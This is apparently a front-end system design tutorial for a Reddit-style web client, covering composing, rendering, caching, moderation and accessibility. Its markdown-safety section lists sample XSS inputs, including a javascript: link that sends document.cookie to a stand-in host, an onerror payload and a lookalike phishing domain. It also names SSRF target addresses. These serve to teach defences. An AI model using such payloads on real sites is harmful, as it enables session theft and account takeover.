Image or galleryTitle and one or more images, with optional captions.Uploads each file directly to storage before submit, shows progress, lets the member reorder.Checks type and size, strips location metadata, makes resized versions.
VideoTitle and a video file.Uploads in chunks, shows progress.Transcodes into adaptive streams; the post shows "processing" until ready.
PollTitle, 2 to 6 options, and a duration in days.Option list editor with add and remove.Stores options; results follow the Poll widget guide.

When a member pastes https://example.com/article, they expect a card with the page's title and image. Someone has to fetch that page and read its og:title and og:image meta tags.

Decision Where should link previews be fetched?

In the browser

The composer calls fetch(url) and parses the HTML.

Pros

  • No server work.

Cons

  • CORS blocks reading most other sites from the browser, so it mostly fails.
  • Each reader's browser would load the outside image, telling that site their IP address.
  • The preview could differ for every viewer, and the site can change it after posting.

On the server, once, at compose time

The client sends the URL to an unfurl endpoint, debounced 500 ms after typing stops.

A sandboxed fetcher loads the page, reads the tags, downloads the image, and stores a re-hosted copy.

The preview is saved with the post.

Pros

  • Works for any site.
  • Readers load the image from Reddit's CDN, never from the outside site.
  • Same preview for everyone, cacheable.

Cons

  • The fetcher must block requests to internal addresses like 169.254.169.254 or 10.0.0.0/8, or attackers can use it to reach private services (server-side request forgery).
  • Costs a fetch per new URL; cache by URL.

What we pick: Server-side, once. The browser can't do it reliably, and the server can do it safely, privately, and once for all readers. The client shows a skeleton card while waiting and lets the member remove the preview.

Media: upload first, submit second

Images and videos upload before the post is created. The File uploader guide covers the details; the short version is: the client asks for an upload lease (a signed URL), sends the file straight to storage, and gets back an asset id. The submit request only carries asset ids, so it stays small and fast, and a failed submit doesn't mean re-uploading 80 MB of video.

  • Uploads start the moment files are picked, while the member types the title. On a 5 Mbps uplink a 4 MB photo takes 6 to 7 seconds; starting early hides most of it.
  • The Post button stays enabled; if uploads are still running, it shows "Posting when uploads finish" instead of blocking.
  • Galleries keep an ordered list of asset ids, so reordering never re-uploads.
  • Video posts appear with a "processing" state, because transcoding can take minutes. The post page polls or listens for a ready event.
Sequence diagram of submitting a gallery post between the member, the composer, storage, and the API. The member picks 2 photos. The composer asks the API for upload leases and gets signed URLs and asset ids. The composer uploads the files straight to storage with progress, and storage confirms. The member presses Post. The composer sends submit with the asset ids and an idempotency key. The API answers 201 with state filtered. The composer shows the member a notice that the post awaits moderator review.MemberComposerStorageAPIpick 2 photosupload leasessigned URLs, idsPUT filesstoredPostsubmit, ids, key201 filteredawaiting review
Files go straight to storage while the member types the title, so the submit request only carries asset ids. The reply includes the post's state, so a post filtered by AutoModerator is explained right away instead of silently hidden.

Drafts

Members lose long posts to a closed tab or a failed submit. The composer saves a draft 1 second after typing stops: first to localStorage (instant, works offline), then to the server's drafts endpoint when signed in, so the draft follows them to another device. A draft holds the community, type, title, body, flair, tags, link, and uploaded asset ids. Uploads that are not finished are not saved: their files live only in the browser tab.

Flair, NSFW, and spoiler

  • Flair: the picker shows the community's post flairs, minus mod-only ones. If the community requires a flair, the Post button explains why it is not ready ("Pick a flair") instead of failing after submit.
  • Rules: shown beside the composer, collapsed to their short titles, so posters see them at the moment it matters.
  • NSFW (not safe for work) and spoiler: two flags on the post. In listings, an NSFW or spoiler post shows a blurred preview with a label and a reveal button. The server sends a pre-blurred, tiny thumbnail; the real image only loads after the reader clicks. A CSS filter: blur() on the real image is not enough: the full image is still downloaded and visible in network tools and to anyone with CSS turned off.
  • Signed-out readers and NSFW: a gate asks them to sign in or confirm their age, depending on the law where they are. Google treats legally required gates as an exception to its interstitial guidance, but asks that the gate overlay the page instead of redirecting to a separate gate URL, so the page stays indexable while the media stays hidden.

Check your understanding · Exercise 6

Which composer decisions are right for Reddit? Select all that apply.

Rendering user markdown safely

Post bodies, comments, sidebar text widgets, rules, and wiki pages are all written in markdown by users. Reddit's flavor adds a few things to standard markdown: ^word or ^(a few words) for superscript, >!this!< for an inline spoiler, ~~text~~ for strikethrough, tables, and bare r/name and u/name turning into links. Every one of those is a chance for an attacker, because the output becomes HTML in other people's browsers.

Typical attack inputs look like these. A good design makes each of them render as harmless text or a harmless link, by construction, not by hoping a filter catches them:

text
[free gold](javascript:fetch('//evil.example?c='+document.cookie))
<img src=x onerror="alert(1)">
>!<script>alert(1)</script>!<
^(<a href="data:text/html,...">x</a>)
[looks like reddit.com](https://reddit.com.evil.example/login)

Decision Where should markdown become HTML, and how?

Client renders markdown to an HTML string and sets innerHTML

Ship a markdown library; call it on every body; insert the string.

Pros

  • Simple.

Cons

  • Many markdown libraries pass raw HTML through unless configured not to: one mistake is stored XSS on a site with 100 million readers.
  • Adds 30 to 60 KB of parser JavaScript to every page.
  • Every reader's phone re-parses the same text.

Server renders once to sanitized HTML, stored with the post

At write time, parse with raw HTML disabled, sanitize with a strict allow-list, and store body_html next to body.

Server rendering and the API send the stored HTML.

Pros

  • Parsed once per edit, not once per view.
  • No parser in the reading bundle.
  • Reddit's public API works this way: it returns selftext and selftext_html, body and body_html.

Cons

  • Changing the renderer means re-rendering stored posts, or versioning the HTML.
  • The client still inserts HTML, so the sanitizer is the one thing that must never fail.

Server parses to a tree; client maps nodes to components

Store a JSON tree of known node types: paragraph, text, link, spoiler, superscript, table, code.

Each client (web, iOS, Android) maps node types to its own components; unknown nodes render as plain text.

Pros

  • No HTML string anywhere: a script can only ever be a text node.
  • Native apps use the same format.
  • Spoilers and r/ links become real interactive components.

Cons

  • A renderer per platform.
  • Bigger payload than HTML for long posts.

What we pick: Parse on the server, once, with raw HTML disabled. Send a node tree to clients that need interactive pieces (spoilers, mentions), and server-render it to HTML for the first paint. The LLM chat UI guide uses the same "tree, not string" rule; the Comments thread guide shows the simpler sanitized-HTML option, which fits when nothing inside a body is interactive. The composer preview loads the same parser lazily, or calls a preview endpoint, so the preview always matches what will be published.

The markdown pipeline. The author's markdown goes to a server parser with raw HTML turned off and a link protocol allow-list. The parser produces a safe node tree that is stored with the post. The page server renders the tree to HTML for first paint. In the browser, only interactive nodes, spoilers and r/ links, become islands. A note shows that a javascript: link becomes plain text and a script tag becomes visible text.Markdownfrom the authorParseraw HTML offSafe treestored with postPage servertree to HTMLIslandsspoilers, r/ linksreadernodes, no stringsjavascript: link: plain textscript tag: shown as text
Parsing happens once per edit, on the server, with raw HTML off. Readers never run a markdown parser; the composer preview loads the same parser lazily so what you preview is what gets published.

The rules the renderer enforces

  • Raw HTML is off. <img onerror=...> is shown as the literal text a reader typed.
  • Links are checked by protocol after parsing the URL with new URL(): only https:, http:, and mailto: survive. javascript:, data:, and vbscript: become plain text.
  • Links carry rel values ugc nofollow noopener: ugc and nofollow tell search engines this is user content and not an endorsement, noopener stops the opened page from controlling ours.
  • Show the real domain. For links whose text looks like a URL but points elsewhere, show the true host on hover and in the link card. The reddit.com.evil.example trick relies on readers trusting the visible text.
  • Images in comments are allowed only from Reddit's own media hosts, so a tracking pixel can't log every reader's IP.
  • Nesting limits: cap quote and list depth and total node count, so a 40,000-character post of >>>>>> can't freeze the parser or the layout.

Spoilers that are actually hidden

A spoiler drawn as black text on a black background is hidden from sighted readers only. A screen reader reads it aloud at once, and copy-paste or forced-colors mode reveals it.

The component renders a button labelled "Spoiler, press to reveal". Inside it, the text keeps its width but has visibility: hidden, which means it is not drawn, not in the accessibility tree, and not shown by forced colors. On press, the text appears in the same space, so nothing else on the page moves, and focus moves to it.

tsx
function Spoiler({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const textRef = useRef<HTMLSpanElement>(null);
  useEffect(() => {
    if (open) textRef.current?.focus(); // the button is gone; keep focus in place
  }, [open]);
  if (open) return <span ref={textRef} tabIndex={-1} className="spoiler-open">{children}</span>;
  return (
    <button type="button" className="spoiler" onClick={() => setOpen(true)}>
      {/* .spoiler-mask { visibility: hidden }: keeps the width, never drawn or read */}
      <span className="spoiler-mask">{children}</span>
      <span className="sr-only">Spoiler, press to reveal</span>
    </button>
  );
}

Check your understanding · Exercise 7

A comment contains [win](javascript:alert(1)) and >!secret ending!<. What should readers get? Select all that apply.

Media in listings: images, video, and autoplay that respects the reader

A card-view listing of r/aww is mostly images and short videos. The TikTok feed and YouTube guides go deep on players and adaptive streaming; here we decide what a listing does with many media posts on screen at once.

Decision Which videos in a listing should play?

Every video in view plays

Each video element autoplays when it enters the viewport.

Pros

  • Lively.

Cons

  • Three or four decoders run at once on a phone: battery drain and dropped frames.
  • Downloads every video a reader scrolls past, even at a glance.

Click to play only

Show a poster image with a play button.

Pros

  • Cheapest. No surprise motion.

Cons

  • Short clips lose much of their appeal; engagement drops.

The single most visible video plays, muted, if settings allow

An IntersectionObserver tracks how much of each video is visible.

Only the video with the largest visible share, above 50%, plays. All others pause.

Autoplay is off when the reader turned it off, when prefers-reduced-motion: reduce is set, or when data saver is on.

Pros

  • One decoder at a time.
  • Respects motion and data preferences.
  • Feels alive for those who want it.

Cons

  • A little bookkeeping across cards.

What we pick: One most-visible video at a time, muted, with clear opt-outs. It is the same rule the TikTok feed guide uses for its full-screen player, scaled down to a list.

Autoplay in a listing. A viewport shows three video cards. The top card is 64% visible and paused, because another is more visible. The middle card is fully visible and plays, muted. The bottom card is 40% visible and paused with preload none. A note says autoplay is off with reduced motion, data saver, or the user setting.viewportvideo Avideo B, mutedvideo C64%: paused100%: plays40%: pausedoff withreduced motionor data saver
One decoder at a time: only the most visible video above 50% plays. Cards further away keep preload="none" and get their stream only when they come near.

The mechanics

The rule above is only half the work. The other half is making sure media never costs more than the reader agreed to pay, in bytes, battery, or layout jumps. These are the details that make a media-heavy listing feel light:

  • Muted and inline: browsers allow autoplay with sound off. The element needs muted and playsinline as real attributes: without playsinline, iPhone Safari only plays video in its own full-screen player, so it won't autoplay in the card. Low Power Mode on iPhones can still refuse it, so play() must handle a rejection.
  • Load lazily: videos outside the viewport use preload="none" and only get their stream URL attached when they come within one screen of view.
  • Data saver: read the Save-Data: on request header on the server and navigator.connection.saveData where the browser supports it (Chromium). Few browsers send these signals today, so also offer a data saver switch in settings. In that mode, show posters only, request smaller image sizes, and never autoplay.
  • Reserve space: every image and video card has its width and height from the post data, so the browser reserves the box before the media loads. Without it, each image that arrives pushes the cards below, which hurts Cumulative Layout Shift and makes readers tap the wrong post.
  • Right-sized images: the server makes several widths of every upload. The card uses srcset and sizes so a 360-pixel-wide phone downloads a 640-pixel image, not the 4,000-pixel original. Modern formats (AVIF or WebP) cut the bytes again. The Image optimization lesson covers this.
  • The LCP image: on a post page, the post's main image is usually the Largest Contentful Paint element. It gets fetchpriority="high" and no lazy loading. Every listing image below the fold gets loading="lazy".
  • GIFs as video: an animated GIF is often 5 to 10 times larger than the same clip as an MP4. Convert GIF uploads to video and play them as looping, muted video.
ts
const ratios = new Map<HTMLVideoElement, number>();
const io = new IntersectionObserver((entries) => {
  for (const e of entries) ratios.set(e.target as HTMLVideoElement, e.intersectionRatio);
  if (!autoplayAllowed()) return;  // user setting, reduced motion, data saver
  let best: HTMLVideoElement | null = null;
  for (const [v, r] of ratios) if (r >= 0.5 && (!best || r > (ratios.get(best) ?? 0))) best = v;
  for (const v of ratios.keys()) {
    if (v === best) void v.play().catch(() => {}); // autoplay can still be refused
    else v.pause();
  }
}, { threshold: [0, 0.25, 0.5, 0.75, 1] });

Check your understanding · Exercise 8

A reader on a mid-range Android phone, with data saver on, scrolls a card listing of r/aww. What should happen? Select all that apply.

Signed-out readers and search: the post page as a landing page

Search for "how to fix split hollandaise" and a Reddit thread is often near the top. Reddit reports logged-out users as their own audience number to investors: in mid-2025, about 61 million of its 110 million daily active uniques were logged out, and much of that audience arrives from search engines. For those readers the post page is a landing page: a stranger on a phone, no cookie, one chance to load fast and answer the question. The LinkedIn guide covers the general one-URL, many-audiences problem; here is what changes for Reddit.

One canonical URL per post

A post URL has three parts: the community, the post id, and a slug made from the title: /r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/. Only the id identifies the post; the slug is for humans and search snippets. Reddit post titles can't be edited, so the slug only differs when a link was truncated or mistyped. That raises a question: what happens for /r/Cooking/comments/1abc2d/, a link with a mangled slug, or the same post on old.reddit.com?

  • The router looks up the post by id only. Any slug works, so old shared links never break.
  • If the community name's case or the slug differs from the canonical form, the server answers 301 Moved Permanently to the canonical URL. Search engines then merge signals into one URL instead of splitting them across variants.
  • Every page also carries link rel="canonical" pointing to the canonical URL, including alternate front ends like the old site, so they don't compete with the main one.
  • Query strings that don't change the content (?utm_source=share, ?context=3 for sharing) stay out of the canonical URL.

Rendering for guests and crawlers

How a post page is served. A signed-out guest and Googlebot both request the post URL from the CDN edge, which caches public HTML with s-maxage 60. On a miss, the CDN asks the page server, which renders the post, top comments, canonical link, and structured data. A signed-in member gets the same public HTML, then sends a private viewer request to the API for votes, join state, and mod rights.guestGooglebotmemberCDN edges-maxage=60Page serverpost + top commentsAPIprivate, no-storemissviewer: votes, joined, modsame HTML for bothcanonical + JSON-LD
Guests and crawlers get identical, cached bytes, so there is no cloaking and no per-visit render. Anything personal travels on a separate private request that never touches the shared cache.
  • The server renders the full post and the first 50 or so top comments as HTML. The answer the searcher wants is usually in those comments, so they must be in the HTML, not loaded by script.
  • Guest HTML is the same for everyone, so the CDN caches it: Cache-Control: public, s-maxage=60, stale-while-revalidate=600. A hot thread then costs one render per minute, not one per visitor.
  • Requests with a session cookie skip the shared cache, or get the same cached HTML plus a small viewer request. Guest HTML must never contain a username, a vote, or a CSRF token, and a cached response must never carry Set-Cookie.
  • The page includes title, a meta description from the post's first lines, Open Graph tags for link previews in other apps, and structured data.

Structured data tells search engines what the page is. Google documents a DiscussionForumPosting type for forum threads, with the comments nested as Comment objects, and uses it for features like Discussions and forums in results. Each posting and comment carries an author, a datePublished, and its text. The server writes it into the HTML as JSON-LD:

json
{
  "@context": "https://schema.org",
  "@type": "DiscussionForumPosting",
  "headline": "How do I fix split hollandaise?",
  "url": "https://www.reddit.com/r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/",
  "author": { "@type": "Person", "name": "u/eggs_benedict", "url": "https://www.reddit.com/user/eggs_benedict/" },
  "datePublished": "2026-03-14T09:12:00Z",
  "text": "It went grainy after I added the butter...",
  "interactionStatistic": { "@type": "InteractionCounter", "interactionType": "https://schema.org/LikeAction", "userInteractionCount": 812 },
  "comment": [{ "@type": "Comment", "text": "Whisk a teaspoon of hot water into a clean bowl...",
    "author": { "@type": "Person", "name": "u/saucier" }, "datePublished": "2026-03-14T09:40:00Z" }]
}

The app-install prompt, and what it costs

Every social site wants mobile web readers in its app, where they come back more often, and the tempting tool is a full-screen "Open in the app" sheet. Google's search guidance is explicit: interstitials and dialogs that block the content are bad for users and can hurt search performance. It recommends small banners instead, including the browsers' own app banners. And search visitors who meet a wall go back to the results and click the next site.

Decision How should a guest from search be invited into the app?

Full-screen interstitial on landing

Cover the page with "Reddit is better in the app" and a small "continue in browser" link.

Pros

  • Highest install click rate in the short term.

Cons

  • Blocks the content the searcher came for.
  • Against Google's guidance; risks search ranking.
  • Hurts accessibility: focus is trapped in a sheet the reader didn't ask for.

A small, dismissible banner

A one-line bar at the top or bottom, or the browser's native app banner. Dismissal is remembered for weeks.

Pros

  • Content stays readable.
  • Follows search guidance.
  • Doesn't shift layout if its space is reserved.

Cons

  • Fewer installs per visit.

Contextual prompts

Invite only at a moment of intent: after a guest tries to vote, join, or reply, or on the third visit.

Pros

  • The reader already wants a member feature; the ask makes sense.

Cons

  • Needs care so it is not a wall in disguise.

What we pick: A small banner on landing, plus contextual prompts at moments of intent. The page a searcher lands on must show the answer first. Measure installs and search traffic together: an interstitial that wins installs can lose more in search visits.

Check your understanding · Exercise 9

Which choices protect Reddit's search traffic? Select all that apply.

Moderation tools in the UI

Reddit's communities are run by volunteer moderators. Some handle thousands of reports a day, often on a phone. Their tools live inside the same pages everyone else uses, which raises three client questions: how the page knows who may do what, what each audience sees after an action, and how to make a queue of 500 items fast to work through.

Permissions per community

Moderator rights are per community and split into areas: posts and comments, flair, users (ban, mute), settings, mod mail, and wiki. A person can be a full moderator of r/cooking, a flair-only moderator of r/baking, and a regular member everywhere else. The viewer document for each community carries the list:

ts
type ModPerm = "all" | "posts" | "flair" | "users" | "config" | "mail" | "wiki";

const can = (viewer: CommunityViewer, perm: ModPerm) =>
  viewer.isMod && (viewer.modPerms.includes("all") || viewer.modPerms.includes(perm));

// In a post card
{can(viewer, "posts") && <ModActions postId={post.id} />}
{can(viewer, "flair") && <FlairEditor postId={post.id} />}
  • The checks only decide what to render. The server checks every action again: a hidden button is a convenience, not a lock.
  • Mod tools are their own code chunk, loaded with import() only when the viewer moderates the current community. The vast majority of readers, who moderate nothing, never download them.
  • Mod data never goes into cached guest HTML. The mod bar and actions render on the client after the viewer document arrives, or in a server render that skips the shared cache.

What each audience sees after a removal

Three views of one removed post. Guests and members see the title with the body replaced by removed, and the post is gone from listings. The author sees their full post with a notice: removed for Rule 3, with the moderator's reason. Moderators see the full post with a label removed by u/sam and an Approve button.everyonePost title[removed]gone from listingsauthorPost titlefull bodyRemoved:Rule 3, reasonfrom the modsmoderatorPost titlefull bodyby u/samApprove
Removal hides, it does not delete. The server sends each audience a different view of the same post, and the CDN copy is purged so guests stop seeing it within seconds.

A removed post is not deleted: it is hidden from everyone except the author and the moderators, and each sees something different. Guests and members see [removed] in place of the body on the post page, and the post leaves listings. The author still sees their post with a notice: removed by the moderators of r/cooking, for Rule 3, with the removal reason text the moderator picked. Moderators see the full post with a red "Removed by u/name" label and an Approve button to undo it.

Automated filters work the same way. Many communities run AutoModerator, a bot with rules written by the moderators ("remove posts from accounts younger than 3 days", "filter titles containing these words for review"). When it filters a post, the author should see that at once on their post page, "Your post is waiting for moderator review", rather than discovering hours later that no one could see it. Hiding a removal from the author feels like a shadow ban and destroys trust.

The mod queue

The queue lists reported, filtered, and unmoderated items, newest or most reported first, with the reports' reasons. Three design points matter most:

  • Speed: keyboard shortcuts (j and k to move, a to approve, r to remove), optimistic actions with a 5-second undo, and the next item focused automatically. Removal reasons open in a small menu whose first item is focused, so a remove with reason is three keystrokes.
  • Several moderators at once: two mods may open the same item. Actions are idempotent per item ("set state to removed"), and if another mod acted first, the server replies with who did and when. The client shows "Already removed by u/sam 20 s ago" on the item, instead of an error.
  • Bulk actions: select 30 spam posts and remove them in one request. The server returns a result per item, and the client marks failures individually.

User flair

User flair is a label next to a username, set per community: "Professional chef" in r/cooking, nothing in r/aww. Moderators can set it, and some communities let members pick from a list. It is part of the per-community author data that listings and comments carry, and it is user text, so it goes through the same escaping as everything else, with a short length cap so it can't push the comment off screen.

Check your understanding · Exercise 10

A moderator removes a post that has been on the front page of r/cooking for an hour. What should the system do? Select all that apply.

Architecture, data model, and API: server-rendered pages, islands, and web components

Reddit's web client has been rebuilt more than once, and each version is a lesson. The old site (still at old.reddit.com) was server-rendered HTML with a little jQuery: fast and light, but hard to evolve. The 2018 redesign was a large React single-page app: rich and app-like, but heavy, with a lot of JavaScript to download and run before a post was readable on a phone.

The current site, called Shreddit inside Reddit (its static files are served from a shreddit folder), went back to server-rendered HTML built from web components. Open the source of any community or post page and you'll see custom elements such as shreddit-post and shreddit-sort-dropdown in the HTML the server sent. Its script bundles include Lit, Google's small library for writing web components, and the elements upgrade in the browser as their code loads.

Decision How should the Reddit web client render pages?

Client-rendered single-page app

One big bundle; the server sends a shell; the client fetches data and renders everything.

Pros

  • Smooth in-app navigation.
  • One mental model for engineers.

Cons

  • Slow first view on phones, which is exactly where search visitors are.
  • Crawlers and link-preview bots get little or nothing.
  • Every page pays for the whole app's JavaScript.

Server-rendered, then hydrate the whole page

Render the full React tree on the server, then run it all again in the browser to attach handlers.

Pros

  • Real HTML for crawlers and first paint.

Cons

  • The browser still downloads and runs code for every static paragraph and sidebar rule.
  • Long hydration blocks taps: Interaction to Next Paint suffers on mid-range phones.

Server-rendered HTML with islands

The server renders the page as HTML.

Only interactive parts (vote control, join button, sort menu, comment tree, composer, mod tools) load JavaScript and wake up, each on its own.

Web components are a natural fit: the browser upgrades each custom element when its definition loads.

Pros

  • Small JavaScript for the common case: reading.
  • Each island can load lazily: mod tools only for mods, the composer only when opened.
  • Static content is never re-rendered on the client.

Cons

  • Islands need a shared store or events to talk (a vote on the post page and the same post in a sidebar).
  • Two environments to test: server and browser.

What we pick: Server-rendered HTML with islands. Reddit's pages are mostly reading, with small, independent interactive parts, which is exactly the shape islands fit. The Islands and partial hydration lesson covers the general pattern; Reddit's own move from a single-page app to server-rendered web components is the real-world example.

Architecture of the Reddit web client. Inside the browser: islands for the vote control, listing loader, composer, and mod tools, the last two loaded lazily. They read and write two stores: the entity store keyed by fullname and the listing store with ids, cursor, and seen set. A vote queue keeps one request in flight per item. An API client makes all calls. Outside: a CDN edge serves HTML from the page server into the browser, the API client calls the backend for frontend, and uploads go to media storage.BrowserVote controlListing loaderComposerMod toolsEntity storeby fullnameListing storeids, after, seenVote queueone in flightAPI clienterrors, retriesread, writeCDN edgeguest HTMLPage serverSSR, themeBFF APIpages, votesMedia storage
Islands never call each other: they share state through the stores. The server side has two doors: cached HTML through the CDN for first paint, and the private API for everything personal and every write.

The pieces and why the lines are there

PieceResponsibilityWhy it is separate
Edge and CDNCaches guest HTML and media; purges by key on edits and removals.Guests are most of the traffic; one render serves thousands.
Page server (render)Routes, fetches community, listing, and post data, renders HTML with theme tokens inlined.Keeps first paint fast and indexable; owns canonical redirects.
Backend for frontend APIOne call per screen part: listing page, viewer state, vote, submit, unfurl, mod action.Shapes data for the web client and hides many backend services.
Entity storePosts, communities, and users, normalized by fullname.One post on three surfaces updates once.
Listing storeOrdered ids, after cursor, dedupe set, per listing key.Ranking state is per sort and window; entities are shared.
Vote queuePer-item confirmed, wanted, in-flight flag, rollback.Votes are frequent and racy; isolating them keeps components simple.
IslandsVote control, join button, sort menu, listing loader, media player, comment tree, composer, mod tools.Each loads only when present and needed.
Upload and draft servicesUpload leases and progress; draft autosave to storage and server.Long-running work that must survive island re-renders.

Islands talk through the shared stores, not to each other. When the vote island on a post card writes wanted = 1 for t3_1abc2d, every view that reads that post's vote from the entity store re-renders. With web components the same idea works with a small store module and DOM events: an island dispatches a vote-changed event that bubbles, and others subscribe.

Data flow for the community page. Read path: data services send posts and listings to the BFF and renderer, which sends HTML with s-maxage to the CDN, which sends cached HTML to the browser. The HTML seeds the stores and wakes the islands. A private viewer request through the API client returns votes and join state into the stores, and later pages come back the same way. Write path: a tap sets wanted in the vote queue, which sends dir 1 to the vote service, which updates the score.Data servicesposts, listingsBFF, renderHTMLCDNs-maxageBrowserHTMLIslandswakeStoresseededAPI clientviewer, pagesprivateVote queuewanted = 1Vote servicescoretapdir=1
Public data flows left to right through caches; private data and writes take the lower path and never touch a shared cache. Later pages use after cursors through the same API client.

Web components or framework islands?

  • Web components (custom elements, optionally with a small library such as Lit): the browser upgrades each tag on its own, no framework runtime is needed to start an island, and teams can use them from any stack. Server rendering their shadow DOM needs Declarative Shadow DOM, which all major browsers support since early 2024.
  • Framework islands (React with server components, or Astro-style islands): a bigger ecosystem and one component model for server and client. The cost is a framework runtime on the page and more care to keep static parts out of the client bundle.
  • Either way, the design rules are the same: static by default, JavaScript only where there is interaction, shared state through stores, and the server as the source of first-paint HTML.

Check your understanding · Exercise 11

Why does a server-rendered, islands architecture fit Reddit better than a single-page app? Select all that apply.

Data model: public data and viewer data

The pieces above already hold the busiest data: the entity store keeps posts, communities, and users by fullname, the listing store keeps each listing's ids and cursor, and the vote queue keeps pending votes. The key decision for everything else is splitting public data, which is the same for every reader and can be cached anywhere, from viewer data, which belongs to one person and must never sit in a shared cache. The rest of the client's data lives here:

DataWhere it livesWhy there
Sort, time window, flair filterURL path and queryShareable, back-button friendly, the listing cache key.
My votes, joined, mod rightsViewer store, from a small per-viewer requestNever in cached HTML; per person.
DraftslocalStorage and the server drafts endpointSurvive a closed tab; follow the member across devices.
Theme tokensInlined CSS custom properties in the HTMLCorrect colors on first paint, no script needed.
Revealed spoilers, expanded rulesComponent stateLocal, cheap, fine to lose on navigation.
The client data model. Post, keyed t3, points to its Community, keyed t5, by communityId and to its author User, keyed t2, by authorId. ListingState holds ordered post ids, the after cursor, and a seen set. PostViewer holds my vote and saved flag for a post id. Comments, keyed t1, point to their post and follow the comments thread guide. Below: drafts live in localStorage and the server, theme tokens live in inline CSS variables, and sort and window live in the URL.Community t5theme, rules, flairsPost t3score, state, flairUser t2name, karmaListingStateids, after, seenPostViewervote, savedComment t1comments guideDraft: storageTokens: CSS varsURL: sort, t
Public entities are shared by every view and every reader; viewer records are small, private, and keyed by the same fullnames, so joining them is a lookup, not a refetch.
ts
type Fullname = `t${1 | 2 | 3 | 5}_${string}`;
type Post = {
  id: Fullname;                 // "t3_1abc2d"
  communityId: Fullname;        // "t5_2qh1e"
  authorId: Fullname | null;    // null when the account was deleted
  title: string;
  slug: string;                 // "how_do_i_fix_split_hollandaise"
  kind: "text" | "link" | "image" | "gallery" | "video" | "poll";
  body?: RichTextNode[];        // parsed on the server, never raw HTML
  link?: { url: string; domain: string; preview?: ImageRef };
  media?: { assets: ImageRef[] } | { video: VideoRef };
  flair?: { id: string; text: string };
  nsfw: boolean; spoiler: boolean;
  score: number; scoreHidden: boolean; commentCount: number;
  createdAt: string;
  state: "live" | "removed" | "filtered" | "deleted";
  locked: boolean;               // no new comments; independent of state
};
type PostViewer = { vote: 1 | 0 | -1; saved: boolean; hidden: boolean; canModerate: boolean };
type ListingKey = { community: string; sort: "hot" | "new" | "top" | "rising" | "controversial"; t?: "hour" | "day" | "week" | "month" | "year" | "all" };

The API

The page server and the islands call the same backend for frontend. Listings return public data only; a second call returns viewer data for the ids on screen, so the listing response can be cached and shared:

http
GET  /api/r/cooking/listing?sort=top&t=week&limit=25&after=t3_1abc2d
200  { "posts": [Post], "after": "t3_1abd9x", "before": null }
     Cache-Control: public, s-maxage=30

POST /api/viewer/posts        { "ids": ["t3_1abc7q", "t3_1abd01"] }
200  { "t3_1abc7q": { "vote": 1, "saved": false, ... } }
     Cache-Control: private, no-store

POST /api/vote                { "id": "t3_1abc7q", "dir": 0 }
204  | 429 Retry-After: 4 | 403 { "error": "ARCHIVED" }
http
POST /api/unfurl              { "url": "https://example.com/hollandaise" }
200  { "title": "...", "image": { "assetId": "img_9f3" }, "alreadyPostedIn": ["r/cooking"] }

POST /api/submit              Idempotency-Key: 6f1c...
     { "community": "t5_2qh1e", "kind": "gallery", "title": "...",
       "assets": ["img_1", "img_2"], "flairId": "fl_3", "nsfw": false, "spoiler": false }
201  { "id": "t3_1abe44", "url": "/r/cooking/comments/1abe44/...", "state": "filtered",
       "notice": "Your post is waiting for moderator review." }

POST /api/mod/action          { "ids": ["t3_1abe44"], "action": "remove", "reasonId": "r3" }
200  { "results": { "t3_1abe44": { "ok": false, "error": "ALREADY_REMOVED", "by": "u/sam" } } }
  • Errors carry a stable code (ARCHIVED, RATE_LIMITED, FLAIR_REQUIRED, ALREADY_REMOVED) and a human message. The client maps codes to UI; it never parses the message.
  • Submit is idempotent through Idempotency-Key: a retry after a timeout returns the same post instead of creating a duplicate.
  • Submit returns the post's state: a filtered post comes back with a notice, so the composer can tell the author right away.
  • Archived posts (old threads closed to new votes and comments) return 403 ARCHIVED; the client shows disabled arrows with a tooltip ahead of time, using the archived flag on the post.

Check your understanding · Exercise 12

Which data may be included in the CDN-cached listing response? Select all that apply.

Accessibility, performance, and what to measure

Vote buttons that announce their state

Arrows are icons, so they need names, and they are toggles, so they need state. Two real button elements with aria-pressed do both. A screen reader then says "Upvote, toggle button, pressed", and the state is right on page load because the server renders it.

html
<div role="group" aria-label="Vote on: How do I fix split hollandaise?">
  <button type="button" aria-pressed="true" aria-label="Upvote">
    <svg aria-hidden="true">...</svg>
  </button>
  <span>812</span>
  <button type="button" aria-pressed="false" aria-label="Downvote">
    <svg aria-hidden="true">...</svg>
  </button>
</div>
  • Why not radio buttons, like the Poll widget guide uses? A poll picks one option and submits it with a Vote button. A vote has a third state, none, reached by pressing the active arrow again, and native radios can't be unchecked that way. Two toggle buttons model up, none, and down directly.
  • Don't put the score in an aria-live region. On a listing, every vote and every refetch would interrupt the reader. The pressed state already confirms the action; the score is read when the reader moves to it.
  • Pressed and unpressed must differ by more than color: a filled versus outlined arrow, so color-blind readers and forced-colors mode see the state.
  • On a rollback, move nothing and steal no focus. Announce "Vote not saved" once in a polite live region, and the arrow returns to its old state.
  • Arrows are at least 24 by 24 CSS pixels, the WCAG 2.2 minimum target size, and larger on touch screens.

A listing you can move through by keyboard

An endless listing is hard to use without a mouse: there is no last item to Tab to, new cards arrive while you move, and the footer keeps running away. The WAI-ARIA feed pattern and a few shortcuts fix most of it.

  • Each post is an article labelled by its title. The listing follows the WAI-ARIA feed pattern: role="feed", aria-busy="true" while a page loads, and aria-posinset and aria-setsize on each article (-1 when the total is unknown).
  • Shortcuts for power users: j and k move between posts, a and z vote, Enter opens. They are off while typing in a field, and listed in a help dialog opened with ?.
  • Infinite loading never moves focus. A polite live region says "25 more posts loaded". Footer links (help, terms) live in the sidebar or a menu, because an endless list makes a page footer unreachable.
  • Comment collapse is a button with aria-expanded; the Comments thread guide covers threads in depth.
  • Theme colors pass through the contrast repair from the theming chapter, including the focus ring, which needs 3 to 1 against the background.
  • Vote and expand animations are skipped when prefers-reduced-motion: reduce is set.

Performance budgets

MetricTarget on a mid-range phone, 4GHow the design gets there
Largest Contentful PaintUnder 2.5 sEdge-cached HTML; title and first image in the HTML; fetchpriority="high" on the hero image; theme inlined.
Interaction to Next PaintUnder 200 msIslands instead of whole-page hydration; optimistic votes that update one element; long listings virtualized.
Cumulative Layout ShiftUnder 0.1Known media sizes; reserved space for banners and the app prompt; viewer state fills arrows in place.
JavaScript for a post pageUnder 100 KB compressed before interactionNo markdown parser for reading; composer, mod tools, and player loaded on demand.
  • Prefetch the post page data when a card is hovered for 100 ms or touched (pointerdown), so the tap feels instant.
